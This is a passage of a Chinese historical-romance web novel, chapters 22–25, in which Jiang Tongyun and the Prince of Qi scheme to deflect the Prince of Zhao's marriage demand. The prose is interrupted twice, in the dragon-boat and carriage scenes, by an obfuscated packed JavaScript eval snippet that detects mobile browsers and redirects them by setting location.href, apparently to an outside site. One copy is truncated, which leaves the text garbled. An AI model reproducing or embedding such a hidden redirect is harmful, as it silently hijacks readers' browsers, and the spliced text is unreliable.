陶叔让人把匆匆下车的李夫人带去前院花厅等候,自己则去了正院向还在吃早饭的姜同云汇报情况。 姜同云端着厨娘做的鳝丝面正吃得额角冒汗。 这个时节鳝鱼正肥。厨娘将买回来的新鲜鳝鱼仔细收拾干净,切成鳝段腌制一番。之后葱姜蒜入锅爆香,再将腌制好的鳝段大火下锅翻炒。之后搭配上一系列的 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眼看时辰差不多了,她才慢悠悠地走去了花厅。 “同云!” 一见姜同云进来,李夫人就“嚯”地从位置上站了起来。 姜同云不慌不忙地行了个礼,笑吟吟地问道:“婶婶今日怎么过来了?您这看着有些憔悴,是昨晚没歇好觉么?” 李夫人暗暗咬了咬牙。 能睡好吗!她派去偷信物的秋芙不仅被抓,还被姜同云扣到了现在!要是那个死丫头嘴巴不够严,把事情抖落了出去,别说女儿的好亲事要黄,只怕他们义阳侯府的脸面都要丢光了! 看着姜同云仿若洞悉一切的笑脸,李夫人只觉心里发虚,后槽牙更是痒得厉害。 不过好在昨天还有件别的好事。虽然秋芙办事不力让自己不得不陷入被动,但总归还是有补救方法的。 现在可千万不能为了一时之气,就跟姜同云撕破脸皮。 想到这里,她深深地吸了口气,努力挤出一个笑容来:“可不是没睡好吗?婶婶昨天知道了一个好消息,替你高兴了一整晚呢!” 好消息? 看着李夫人脸上不自觉流露出的那种似有所指的表情,姜同云心里蓦然一沉。 她走到椅子旁坐下:“是吗?什么好消息呀?” 李夫人挨着她坐了下来,见她没有立刻提起秋芙偷东西的事情,脸上的笑容便自然了许多。 她拉起姜同云的手,故作慈爱地拍了拍:“小孩子长得就是快。一晃眼,我们家同云今年都要满十八了。” “你如今生得这么漂亮,合该配一门顶好的亲事。” 姜同云挑了下眉,将自己的手抽了回来:“婶婶究竟想说什么?” 李夫人脸上的笑意加深:“昨日,赵王派了他府上的长史过来,送了好些珠宝锦缎,都是指名要给你的!那位马长史还替赵王转达了一些话,赵王殿下这是有意娶你过府呢!” 姜同云的手指猛然一收。 赵王?! 22. 密室 姜同云对赵王的印象还停留在端午宫宴那日的匆匆一瞥。 因为距离隔得远,姜同云甚至都没看清楚对方长什么样,只对他那身紫色的衣裳印象深刻。 哦对了,这位赵王殿下应当是个高瘦的人。配上他的衣服颜色……特别像一只长条茄子。 但怎么说这也是个身份尊贵的茄子。 为什么这种天潢贵胄会对一个充其量只能算是见过一面普通姑娘感兴趣啊? 姜同云不由把怀疑的目光投向了李夫人。 李夫人还以为她是在怀疑自己说的话,当即保证道:“我说的都是真的!也不知道赵王殿下是从哪里打听到你的,这可真是一场造化!” 造个鬼。 李夫人见姜同云还有所犹疑,连忙开始夸奖赵王:“这位赵王殿下是陛下的第五子,跟你年岁相当。他的母妃孙贤妃可是极受陛下宠爱的,如今宫里除了皇后,可就数这位贤妃娘娘了。还有赵王本人,也很受陛下器重,未满十四就封了王。他现今还未娶妻,你要是能嫁给他,再提前生个儿子,何愁将来啊!” 说到这里,李夫人甚至都已经有些酸溜溜的了。 要不是赵王点名要姜同云,加上嫁过去只能做个侍妾,李夫人都不想把这门好亲让给她! 家里别的女儿至少还都是向着义阳侯府的呢。 李夫人突突突地往外蹦了许多,姜同云却一句都没听进去。 她只觉得自己的额角隐隐作痛:“婶婶!” 姜同云的语气又急又厉,李夫人被骤然打断,一时之间也不敢反驳。 “婶婶可别忘了,我可是有婚约在身的。” 听她提起婚约,李夫人立刻拍着胸脯保证道:“这个不打紧的。这门婚事外人知道的不多,颍川侯府那里我也能替你分说清楚。” 姜同云看着她打包票的样子,冷冷一笑:“是吗?婶婶想要怎么分说?让二妹妹‘委屈’一下,替我履行婚约?” 李夫人直觉她话风不对,不由有些心虚。她讪笑着说道:“都是一家人。你这个姐姐有困难,向瑶能帮自然要帮的……” “哦?”姜同云扯了扯嘴角,看着她的眼睛道,“既然婶婶和二妹妹是‘好心’要帮我,为何还要让秋芙来偷韩家给的定亲信物呢?” 李夫人霍然起身。 她死死盯着姜同云,脸上青一阵红一阵的。斥骂和说情的话语来来回回地在她脑中滚动,最终还是理智占了上风。 这丫头现在被赵王看上了! 要是她对侯府心存不满,万一将来在赵王面前说些什么,搞不好会影响到儿子的前程。 李夫人粗重地喘了几口气,强压下翻脸的冲动坐了回去。 “秋芙……竟然敢在你这里偷东西!”她咬着牙说道,“是我没管好下人。你把那丫头交给我,我一定会给你一个满意的交代。” 看着还想装傻的李夫人,姜同云已经失去了耐心。 她扭过脸去:“婶婶别装了。我已经知道你和颍川侯夫人的计划了。” 李夫人额角的青筋跳了一下。 “你们早就想让二妹妹替掉我了,不是吗?何必现在在我面前装着委屈的样子,还说是要帮我解决麻烦呢?” 李夫人揪紧了手里的帕子:“……你既然已经知道了,为何还要霸着这门亲事?颍川侯府不愿意要你这个儿媳妇,你硬嫁进去也只是自讨没趣!” 看李夫人的嘴唇都抖起来了,姜同云笑了笑:“强扭的瓜不甜,但解渴啊。侯府富贵,嫁给韩二公子做正室,应当不会比嫁给赵王做妾差吧。” “再说了。到底是颍川侯府对我不满意,还是颍川侯夫人对我不满意?”姜同云看向李夫人的眼睛,似笑非笑地问道,“要是整个侯府都不满意这门亲事,大可直接退婚,另聘一门好亲。何苦要让婶婶派人到我这里偷定亲信物呢?” 李夫人被她一字一句问得节节败退,最终还是克制不住,气得直接拍了桌子:“你到底想怎样?!” 姜同云扬眉:“从始至终,都是婶婶在咄咄逼人吧。不过既然你问了,那我不妨告诉你。” 她站起身来,居高临下地看着李夫人:“我不想嫁给赵王。既然王府的东西是送到了义阳侯府里,那就劳烦叔父和婶婶费心,替我拒了赵王吧。” 说罢,她转身离去。 李夫人起身要追,却被一直候在门外的陶叔拦了下来。 听完了全程的陶叔气得要死,根本装不了一点,直挺挺地往李夫人面前一杵就不客气地下了逐客令:“来人,送客!” 强硬地‘送’走李夫人后,陶叔连忙去找姜同云。 姜同云正在前院书房里,听到陶叔来寻,便让木樨把他请了进来。 “姑娘这是准备写信回杭州?”陶叔见她正在磨墨,以为她是要找老爷子告状,“那您赶紧写,写完我立刻让人帮你寄出去!” 姜同云展开信纸:“等信寄回杭州,再等外祖父赶过来,这得要多长时间?” 陶叔迟疑片刻:“快的话,也要个七八天吧。”老爷子毕竟上了年纪,出趟门实在不容易。 “对面可是皇子,王爷。就凭我那对叔婶,能抗多久?能为我抗多久?”姜同云神色淡淡,提起笔快速书写,“远水救不了近火,我得想别的法子。” “这……”陶叔回想了一下他们在金陵的人脉,一时有些犯难。 姜同云已经快速写完了信。她吹干墨迹,将信叠好封入信封:“帮我把信送去上次那个地址吧。” 这回,真要动用那位齐王殿下的人情了。 希望他真如传闻所言,在陛下那里足够受宠,可以帮她抗衡住陛下的亲儿子吧。 ***** 次日下午,姜同云坐着马车到了东市一家酒楼里。 昨日她给谢怀雵写信求助,虽然没在信里写明出了什么事,但那边回信很快。 谢怀雵要她以观赛为由,在东市这家酒楼二楼定一间指定的包间,时间就是今日下午。 姜同云进入酒楼的时候,距离约定的时辰已经很近了。 今日下午,秦淮河上有一场龙舟决赛。前几日拿下头名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480748|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙舟队伍会在今日齐聚一堂,共同角逐最终的冠军。所以秦淮河两岸一早就围满了观众,到处都是来来往往的行人,气氛一片热闹欢庆。 金陵的东市就设在距离秦淮河不远处的位置,这处酒楼地段不错,正好能远望比赛的河段,所以这里也挤满了人。 在这种场合里,姜同云的行迹根本不会引起别人的注意。 姜同云环顾四周,确认周围全是等着看比赛的普通人后,对着陶叔点了点头。 随后她带着木樨和柳四娘走上二楼,陶叔则留在一楼等候。 进了定好的包间,姜同云要了些点心并一壶茶水,等东西送到后,就让柳四娘关上了门。 她坐在桌边,心里隐约有些焦虑。 不知道谢怀雵会用什么方式跟她见面。谈话的时候她是打算带着木樨的,可是要不要带上四娘呢? 姜同云还没探过柳四娘的口风,不知道她对于自己这桩婚约的看法,难免有些忧心。 烦恼间,三人突然听见屏风后的墙壁上传来了叩击声。 “谁!”柳四娘很是警觉,立刻走上前去,拨开屏风。 屏风后面只摆了一个衣架,大约是给不小心弄脏衣物的客人准备的。 她正要仔细查看,身旁突然传来嘎吱嘎吱的响动。 墙壁居然被推了开来,露出一扇门洞的形状! 坐在桌边的姜同云和木樨都惊得站了起来。 柳四娘当即一个错步,挡在姜同云和木樨身前,正好拦住了那个从门里走出来的劲装男子。 姜同云的心刚要提起,就见那名陌生男子退让开来,露出了跟在他身后的谢怀雵。 “可是吓到几位了?”谢怀雵抬手赔罪,“还请姜姑娘恕在下失礼冒犯之罪。” 姜同云立时松了口气,行礼问好:“齐王殿下。” 柳四娘错愕地看向姜同云:“这……” 姜同云朝她点了点头:“放心,殿下是我请来帮忙的。” 谢怀雵笑了笑:“这边这间屋子临着走廊,难免有人经过。姜姑娘可否移步至隔壁一叙?” 姜同云点头:“好。” 想了想,她又对柳四娘眨了眨眼睛:“木樨陪我过去就行,四娘守在这里吧。” 柳四娘以为自家姑娘也对这位齐王殿下不够放心,所以要留自己在外策应,当即便点头表示明白。 于是姜同云就带着木樨,跟随谢怀雵去了隔壁房间。 这大约是一间密室。房间里虽然有门,但出口的方位跟姜同云定下的那个包间大相径庭,根本不是通向走廊的方向。 看来这间酒楼大概是齐王的地盘了。 谢怀雵请姜同云在桌边坐下,又替她斟了一杯茶:“姜姑娘是为了何事寻我?” 虽然已经下定决心请对方帮忙,但毕竟涉及到自己的婚姻问题,姜同云难免有些不好意思。 她接过茶盏捧在手里,做足了心里建设才开口:“昨日义阳侯夫人过来找我,说……说赵王想要娶我过府。” 谢怀雵讶异地扬起了眉毛。 23. 商谈 姜同云还想说明一下前因后果,不聊谢怀雵已经猜到了一些:“听说端午那天含昭单独设宴招待了姜姑娘。姜姑娘可是在那日遇见了赵王?” 姜同云点了点头:“我印象里就只见过他那一次。” 不,可能连“见”都算不上,毕竟只是远远地对了一下视线。 谁家好人会因为这么远远地看上一眼就提出要娶她啊,真不知道那位赵王发的什么癔症! 姜同云原本以为谢怀雵会有所迟疑,不料对方却点了点头:“那就不奇怪了。” “这是为何?” 谢怀雵无奈地笑了笑:“姜姑娘久居杭州,恐怕对金陵当下的局势不甚明了。” “赵王一直都很有野心。他的母妃本就受宠,陛下对他一向不错。尤其在他展露出骑射方面的天赋后,陛下就有意重用他参与军务,对他也更是宠爱。这难免滋养了他对储君之位的野望。” “几年前,他刚刚封王。北疆小国有意与我大越结盟,共击晋朝,于是派人进贡了几匹良驹。陛下得到这些好马后,自己留了一匹,余下的都分送给了诸位皇子。 “赵王当时正是春风得意,得到消息后,赶在陛下下发明旨之前,带人跑去马厩,强行抢走了原本定给太子的那匹。” “事后,因为旨意未下,加上太子主动退让,陛下就也只是责骂了几句,未曾深究。” 姜同云听得满脸问号:“这都不罚?” 果然,熊孩子身后一定会有熊家长! “罚了。”谢怀雵摇了摇头,“后来这事传了出去,让朝臣们知道了。朝中几位大臣联表上奏,称赵王此举目无君上、不敬太子,要求陛下重责于他。按照朝臣们的意思,赵王至少也该被削为郡王。不过有陛下力保,他最后也只是罚俸一年、禁足三月。” 姜同云只觉得很是无语:陛下看着还挺英明的,没想到私下里也是个糊涂蛋。 “不过这件事闹得厉害,多少还是震慑住了赵王。”谢怀雵扯了扯嘴角,“他不敢再争抢太子的东西,就把目光转移到了太子的同胞妹妹,也就是含昭身上。” 姜同云已经有些为小姑娘感到揪心了。 “含昭四岁开蒙,七岁进学。皇后娘娘对她的功课非常上心,特意在她入学前,从金陵仕宦之家挑选了两名姑娘,入宫做含昭的伴读。” “这两名姑娘都比含昭大上个四五岁,皆是读书识字、小有才名的大家闺秀。她们陪了含昭四年之久,含昭对待她们比对亲姐姐也不差什么。”说到这里,谢怀雵不禁叹了口气,“然而就在去年,那两位姑娘先后向皇后娘娘辞行了。” 姜同云心里已然有了猜测:“都是因为赵王?” “是。其中一位年长一些的姑娘,刚回家不久就被她的父母送入了赵王府里。” “至于另一位姑娘,因为她的父祖都身居要职,赵王倒是在她身上花了不少功夫,引得她对自己情根深种。奈何陛下如今尚未替赵王选定王妃,那位姑娘的父母不愿让女儿去赵王府里做个侍妾,所以就将她扣在了家里。” 谢怀雵轻声道:“想来赵王找上义阳侯府,也是因为发现了含昭最近与姜姑娘你特别要好吧。” 姜同云攥紧了手里的茶盏:“所以在他眼里,我们这些五公主的朋友玩伴,就和当年那匹进贡的马儿没有区别?” 这究竟是一个什么样的纯种大傻X啊!!! 谢怀雵对她的话略感讶异:“恐怕确实如此。但姜姑娘最在意的……居然是这点?” “难道这点不值得在意吗?”姜同云气极反问。 “不,这很值得在意。只是寻常人可能会先为了这种虚假的情意而觉得难堪。” 甚至更多的人,一听见赵王的名号,就会忍不住前仆后继地涌上去。好比义阳侯夫妇,又或是那位主动将自己女儿送去赵王府的官员。 但这位姜姑娘在意的,却是赵王对自己的蔑视。 她甚至还为另外两位有着同样遭遇的姑娘不值。 这位姜姑娘,确实与他人很不一样。 想到这里,谢怀雵对着姜同云露出了赞许的微笑:“姜姑娘会在意这点,这很好。” 谢怀雵的笑容让愤怒的姜同云冷静了下来:“……抱歉,我刚刚不是有意冲您发火的。” “我可以理解你的怒气。”谢怀雵摇了摇头,“姑娘今日要我过来,应该就是想让在下帮忙解决赵王是吧。” “对!”姜同云重重地点了点头。 方才在跟姜同云叙述往事的时候,谢怀雵心里已经快速组织过数个可行的计划。这会儿开始商讨正事,谢怀雵决定直接拿出最有把握的方案来。 “其实先前的时候,我就在考虑帮姑娘办成一件事了。” 姜同云好奇地望向对方:“帮我?” 谢怀雵点了点头:“对,帮你。姑娘的父母都是为国捐躯的忠臣良将。即使陛下已经下旨追封令尊令慈,但按照大越惯例,也应该对功臣之后加以优待,以示皇恩。” “我特意打听过,当年追封许夫人的时候,引起了朝中许多食古不化的老臣的反对。虽然许夫人最终得到了她应有的尊荣,但到了讨论姜将军和许夫人后嗣,也就是姜姑娘你的优待问题时,那些老臣说什么也不肯让步了。” “他们借口姜姑娘没有兄弟,以两位将军后继无人为由,只肯将优待给予姜将军的同胞弟弟,也就是如今的义阳侯。所以他才能得到爵位不降爵承袭的优待。” “之后过了几年,你的祖父,先义阳侯病重之时,也曾上表想要为姑娘争取一些优待。可惜那次也是被那些人阻挠,那优待最后也是落到了你叔父的头上。陛下给他赐了一个从四品的武官官职。” 不过姜弘凯能力太差,这个四品官没干几年,就在负责粮草转运时出了纰漏,因而被陛下革去了官职。 姜同云点了点头:“这些事,外祖父多少也曾跟我提过一二。” 老爷子当时是喝醉了才会向她吐露这些旧事。当时他躺在庭院里,指着月亮怒骂了小半宿,最后还是忍无可忍的外祖母派人把他拖回了屋里。 谢怀雵道:“我原本打算,帮着姜姑娘争回这些本该属于你的东西。” 姜同云挑了挑眉:“当年那些反对的人难道不会再反对了吗?” 谢怀雵笑了:“肯定会,但前提是,他们还在朝堂。” “当年 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乡主是越朝宗室女能获得的最低一级的爵位。不过即使是最低级的爵位,一般也只会授予郡王之女。而且依照越朝礼制,乡主也是有食邑的。 可以说,如果姜同云真能受封乡主,至少她将来在衣食住行上就不用发愁了,皇室会出钱养她的。 但姜同云还是有些忧心:“有了宗室爵位,赵王就会放弃了吗?” 谢怀雵点了点头:“不单单是爵位,更重要的是你功臣遗孤的身份。” “这些年,姜姑娘不在金陵,所以陛下和朝臣们不会想起姑娘。但只要有人重新提起,他们就不会、也不敢忽略掉你的身份。” “有令尊令慈的遗泽,再加上宗室的爵位,赵王如果还想娶姑娘,肯定不能只给你一个侍妾的身份,最少也该是个侧妃。甚至为了宣示皇恩,陛下还可能会许给姑娘正妃之位。” 谢怀雵淡淡地笑了:“赵王是有野心的。以我对他的了解,他会更愿意把正妃和侧妃的位置,留给能够对他有所助益的高官贵胄之女。” 姜同云已经听明白了:“他不可能为了我这种父母双亡的孤女,‘牺牲’掉一个宝贵的王妃名额。” 谢怀雵以为她会伤感世态炎凉,便安慰道:“姜姑娘不必介怀此事。会因为所谓的助力而忽视姑娘性情品格的,不过只是一些庸碌愚昧之辈罢了。” 姜同云笑着摇了摇头:“我并不在意这些。每个人追求不同,我不会为了他人的观点而折磨自己。” “不过。”她有些不好意思地笑了笑,“齐王殿下能不能暂时不帮我去争这个封赏?” 谢怀雵有些讶异:“为何?” 姜同云面露些许无奈之色:“我怕有了个这个爵位,颍川侯府又会觉得我还不错,不想换掉我了。所以能不能等上一段时日,等韩二公子跟我二妹妹过了定亲的仪程,殿下再去帮我争这封赏呢?” 谢怀雵挑了挑眉:“这个自然可以。只是再拖下去,恐怕赵王那边会先等不住。难道姑娘有别的法子可以暂时压制住他?” 姜同云露出了一个狡黠的笑容:“也算不上压制。不过我是有了一个想法!” 24. 计划 谢怀晟原本以为,想要从谢含昭手里抢一个姑娘绝不是什么难事。 当年谢含昭身边的两个伴读,一个的父母知情识趣,王府只派人过去一提就直接答应了下来,之后没过几个月人就被送进了他府里;另一个,虽然到现在还被扣在家里,但早就对自己死心塌地。 那姜家空有一个爵位,在朝中既无权势,亦无人脉。自己贵为大越亲王,愿意给姜家那父母双亡的孤女一个侍妾之位,已经很是抬举了。 姜家怎么可能、又怎么敢拒绝他呢! 事情刚开始的发展也确实和谢怀晟预料的差不多。 王府长史只是送了一些珠宝锦缎过去,再略微透露了一些话风,义阳侯夫妇就喜上眉梢,乐得当场下了保证,一副恨不得第二天就把侄女送去王府的模样。 谢怀晟得到长史回报,以为稳操胜券,只要在家等待就好。 那姜家大姑娘虽然年纪大了点,但长得也算出挑。正好他这些日子被罚禁足,府里能多个逗趣解闷的美人也不错。 谁知道此后过去好几天,义阳侯府都没有什么动静。 谢怀晟受了罚,心里本就窝着一股邪火,这会儿更是觉得,姜家这般拖沓就是在轻慢自己,于是又着人上门去催。 哪知道这一次,义阳侯夫妇的口径就发生了变化。 夫妻二人没了上次的劲头,说话时都支支吾吾地。马长史跟他们打了好几回的太极,最后无功而返。 这可把谢怀晟气得够呛! 姓姜的这是打量他最近受罚,所以就有那个狗胆敢来敷衍自己了? 真是岂有此理!!! 要不是谢怀晟此时还被禁闭在府,他高低要带人好好教训那个姜弘凯一顿。让他知道得罪自己的下场! 但他此时刚被禁足没几天,不敢再触陛下的霉头,只能老老实实待在家里。 想到这里,谢怀晟就又想起谢含昭那个臭丫头那天威胁自己的话来,更是气的不打一处来。 不行,说什么也要把人从谢含昭那里抢过来! 既然义阳侯夫妇那边推不动,谢怀晟就决定从姜同云那里入手。 谢怀晟长相英俊,又有赵王身份加持,哄个把小姑娘对他来说简直就是手到擒来。 更别说姜家那个大姑娘自幼父母双亡、寄人篱下,这种姑娘最是好骗。自己只要稍稍花点心思关心她一番,还怕她不上钩? 于是,谢怀晟决定先派人跟住姜同云,好好探查一下她的生活习惯和日常喜好。等自己解了禁足,就制造机会,和她“偶遇”几次。 谢怀晟派去的人很快就开始行动了。 因为是在金陵,哪怕是夜间的巡查都很严格。为了不引起升平坊内守卫的注意,他们便在姜同云住处近旁租了一套房子,打算就近监视。 可惜,姜同云实在是个不爱出门的人。 越朝对女子拘束不多,别家的小姐今儿一个诗会,明儿一个赏花宴,就算没有宴会也会出门逛逛街,总之不会一直蹲在家里。 可姜同云不一样。 她在金陵没几个朋友,偶尔需要什么也都让下人出门采买的时候一并带了回来。平常没事就窝在家里看书打发时间,大有一副在自家院子里扎根的架势。 赵王的人没有办法,只能收拢在姜宅近旁,试图寻找打探的机会。 这么一围,就让陶振和柳四娘发现了不对。 陶振率先发现了最近家附近出现了很多生面孔。虽然自己经过的时候他们手头都在做事,但暗里的目光全都聚集在陶振身上。 紧接着,柳四娘送厨娘出门采买的时候,也遇到了几个莫名其妙来套近乎,想要询问有关姜同云事情的人。 两个人都很警觉,在第一时间把事情报给姜同云知晓。 姜同云起先以为这些都是义阳侯府派来的人。 虽然不想管他们,但为了防止自己制定的计划被这些人破坏,她还是联络了谢怀雵,告知此事。 谁想谢怀雵查过后告诉她,这些人并不是义阳侯府派出的,而是赵王谢怀晟的人。 真是瞌睡就有人送枕头! 她还发愁怎么引出赵王实施计划呢,人家就主动送上门来了! 于是,在跟谢怀雵书信沟通过后,姜同云选定了一个日子,准备开展计划。 ***** 五月二十六,晴。宜出行、纳财、会亲友,忌嫁娶。 赵王的人前几日就得到了消息,说姜家大姑娘今天要在这处宅子里宴请五公主。 姜宅的下人们早了好几日就开始准备工作。负责采买的人进进出出,宅子里每个下人脸上都喜气洋洋的。 赵王得到手下回报后,还特意命人入宫请他母妃帮忙核实。最终他得到了皇后已经松口应允,同意五公主出宫访友的消息。 二十六当日下午,日头不那么猛烈后,五公主果然来了。 她虽然没坐公主规制的车架,换了一辆低调的双轮马车,但赵王府里的人对宫内之物多少都有了解,很快就在那辆看似朴素的马车车架上找到了相应的标记。 更重要的是,驾车的人是邓皇后身边的一名心腹内监。 那这车里坐的,应该就是五公主谢含昭无疑。 姜宅的人提前拆了门槛,马车是直接开进大门里去的。 很快,院子里就隐约传来了说笑的声音。 赵王的手下都知道自家主子不喜欢这个妹妹,也知道他们殿下想娶姜家大姑娘是出于什么目的。今日五公主能出宫拜访这位姜姑娘,足以证明两人关系非常要好,这只会坚定赵王抢夺的决心。 在这种关头,他们不敢掉链子,只能围在姜宅外来回走动,试图探听到里面的些许消息,这样才好回去报给赵王。 这一等就是快一个时辰。 眼见就要到饭点了,手下们掏出自带的干粮,准备找个角落先解决吃饭问题。 谁知姜宅的大门却在这个时候开了。 五公主乘坐的马车又驶了出来。 这是怎么回事?! 几人交换了一下眼神,悄悄围了过去。 那位姜姑娘也追了出来。她表情急切,拉着马车车窗不肯放手,隐约还能听见她在跟车内的五公主道歉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494961|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但她杂杂拉拉地说了许多,坐在车内的五公主一直都没有回应,最后似乎还十分气愤地嚷了一句“没想到你是这种人”。 手下们面面相觑:这是怎么回事,吵架了? 他们刚想再凑过去,就听车内喊了一声“走”,驾车的内监丝毫不管姜姑娘还抓着车,直接就挥鞭驱马了。 那位姜姑娘被这么猛地一拉,差点摔倒在地。 马车很快离去,她掩着脸似是哭了起来,但很快就被姜宅的下人扶了回去。 姜宅的门紧紧地闭了起来。 手下们仿佛吃到了大瓜,第一时间把五公主和姜姑娘疑似闹掰的消息报告给了赵王。 谢怀晟也对此事感到十分讶异:真闹起来了?不是说谢含昭很喜欢那个女人的吗? 不过女人嘛,动不动就因为点小事闹别扭,真吵起来似乎也很正常。 他让升平坊的手下继续探查姜宅动静,又紧急派人入宫,请他母妃孙贤妃帮忙打探谢含昭那边的动向。 几日后,两边的消息同时送到了他的手上。 在升平坊盯着姜宅的手下回报,姜宅这几日一直都是愁云惨雾的,甚至连下人都不怎么出门了。他们好不容易才逮到机会,从外出采买的厨娘嘴里套出了话来。 据说那日两个人谈论起义阳侯府,不知怎么的就发生了一些争吵。五公主被气得当场离去。 那位姜大姑娘已经躲在家里以泪洗面好几日了。 孙贤妃从宫里传来的消息也说,谢含昭二十六那日回来的时候气冲冲的,连晚饭都不肯吃,甚至还惊动了皇后娘娘。 孙贤妃后来又特意派人去试探了一下谢含昭的态度,谁知道派去的宫人才在五公主面前提起“姜姑娘”三个字,五公主就气得直接扭头走人了。 看来这两个女人是真的闹掰了啊。 啧。 派去升平坊的人还在等赵王发布下一步的指令。见自家主子半天没说话,他壮着胆子问道:“殿下,咱们还要不要继续盯着姜宅啊?” “盯什么盯!”谢怀晟烦躁地踹了他一脚,“她都跟谢含昭闹掰了,我还要她做什么?” “谢含昭不要的东西,我上赶着去捡回来,这不显得我比谢含昭低了一等?本王比不过太子,难道还要被谢含昭压上一头吗?!” “真是浪费时间。赶紧把人都撤回来!” 手下唯唯应是,连滚带爬地退了出去。 没多久,赵王派去升平坊的人就退了宅子,撤出了升平坊。 皇宫内。 “好了,谢怀晟的人撤走了。你姜姐姐那边应该暂时安全了。” 谢含昭托着下巴撅着嘴:“怀雵哥哥,你准备什么时候给姜姐姐争封赏啊!” 谢怀晟点燃了传递消息的纸条,扔进香炉里焚掉:“这事你催我可没用。你姜姐姐有别的计划,还得再等上一段时日。” 谢含昭垮下一张小脸:“那得等到什么时候啊?!要是姜姐姐一直没被封赏,那我岂不是一直都不能去见她?” 谢怀雵笑着摸了摸她的脑袋:“别急。我想应该快了吧。” 25. 接盘 自打上次赵王派人来催过后,义阳侯夫妇俩就一直处于一种吃不好、喝不好、睡不好的状态。 从那位马长史的态度来看,赵王明显是等得不耐烦了。可他们那头也已经答应了颍川侯夫人,等一拿到当年的定亲信物,颍川侯府就会来给姜向瑶下聘。 东西现在在姜同云手里捏着,不管是为了侯府的脸面,还是为了女儿的幸福,他们俩都不能逼迫姜同云嫁给赵王。 这要是撕破了脸,姜同云闹起来,只怕到时候不仅女儿的婚事落空,还会同时得罪赵王和颍川侯两家,那才叫一个得不偿失! 所以姜弘凯夫妻俩自打上次哄走马长史后就一直提心吊胆的,生怕赵王再派人过来。 就这么担心着担心着,五月眼看就要过完了。 赶在五月的尾巴上,赵王果真又派人来了。 听说赵王府的马车就停在家门口,那位马长史已经下车进了门,姜弘凯捂着嘴巴上最近几天才长出来的一串燎泡,哎哟哎哟地直叫唤:“怎么又来了!” 李夫人最近也着急上火。她本来就瘦削的脸颊又凹了几分,本就有些发黄的眼白里满布血丝,眼睛下面还吊着两个大眼袋,一看就是好几夜都没好好合过眼了。 看着丈夫这副不顶事的模样,李夫人心里的火气又窜起来几分:“你有空在这里叫唤,不如赶紧收拾一下,然后想想怎么把人打发走!” 姜弘凯顶了她一句:“当初要不是你说把那丫头嫁去赵王府就能解决一切,咱们现在至于这么被动吗?” “你还敢说我?!”李夫人跳了起来,养得长长的指甲直直戳到了姜弘凯的鼻子上,“那赵王府送过来的礼物不是你收的吗!” 夫妻俩谁也不肯让步,抖着陈年旧账又吵了一阵。 直到下人来报,说马长史已经在前厅等候了,两人才不情不愿地停下争吵,收拾了一下衣裳前去迎客。 侯府前厅里。 两个人还悬着心等马长史继续催促呢,谁想人家简单寒暄了几句,就开门见山地提出要把之前送的礼物收回去。 姜弘凯一时有些摸不着头脑:“这,赵王殿下这是……”什么意思啊? 马长史被派来干这种活,心里也是有苦说不出的:谁家好人这么小气的,不想要人家姑娘了,还得把送出去的东西全要回来! 但他职责在身,这会也只能顶着义阳侯夫妻俩疑惑的眼神,硬着头皮说道:“赵王殿下又……又不想……” 他支支吾吾半天,都不好意思把话说出来。 摊上这么一个朝令夕改的主子,也实在是他倒霉! 好在姜弘凯夫妻俩很快就意识到了他话里的意思。 赵王这是不想让姜同云入赵王府了! 峰回路转啊! 两人心里猛地一松。 姜弘凯像是生怕人家反悔一样,连忙点头道:“应该的应该的,我这就让人把东西都收拾出来!” 说着,他朝李夫人使了个眼色。 李夫人赶紧起身让人去拿东西。 也亏得他俩当时没那么贪心,想着这些东西既然是赵王送给姜同云的,就留着以后让姜同云一起带去赵王府,所以没有动过送来的礼物。 简单收拾一下,义阳侯府的下人就把东西原样送了出来。 “都在这里了,马长史对照礼单清点一下吧。” 送走赵王府的人后,姜弘凯长长地松了口气:“找个时间,再去那丫头那里一趟,告诉她我们已经帮她拒绝了赵王。无论如何,都先把人稳住!” 李夫人朝着自己丈夫翻了个白眼:“还用你教我?” ***** 次日一早,李夫人又是卡着时间赶到了升平坊里。 等见到姜同云后,李夫人满脸堆笑,洋洋洒洒地讲述了一番自己和丈夫是如何刚毅不屈,又是如何抗住王府威势,替姜同云拒绝了赵王。 “……毕竟是为了你的幸福。虽然这次难免是要得罪赵王,但我们做叔叔婶婶的,无论如何都会为你着想的!” 姜同云早就通过谢怀雵的消息渠道,知道了赵王昨日派人去过义阳侯府,还带走了好些东西。 听说赵王府的人走的时候没什么愤怒的情绪,想来应该是赵王那边主动提出放弃的。结果这会儿到了李夫人嘴里,就变成他们夫妻俩威武不能屈,贫贱不能移了。 姜同云克制住心中笑意,淡淡地摇了摇手中团扇:“是吗?那我可真是要好好谢谢叔父和婶婶了。” “都是一家人,这是我们应该做的!” 李夫人心虚地笑了两声,转而道:“同云啊,你能不能……让婶婶把秋芙带回去?我知道,那丫头是做错了事情。婶婶跟你保证,一定会给你一个满意的处理结果!” 信物的事情另想他法,当务之急得先把秋芙这个人证捏回自己手里。这样以后姜同云就是想闹都没有证据。 姜同云也不是不知道李夫人打得是什么主意。 不过她本来就在烦怎样才能顺理成章地把信物送去义阳侯府,这会儿李夫人既然肯拉下脸来缓和关系,姜同云也干脆就坡下驴。 她摇着团扇道:“叔父和婶婶既然能为了我拒绝赵王,那我自然也能相信您二位是真心为了我好。秋芙本来就是侯府的丫鬟,如今犯了错,由婶婶带回去惩罚,也是名正言顺的。” 说罢,她朝身旁的木樨招了招手。 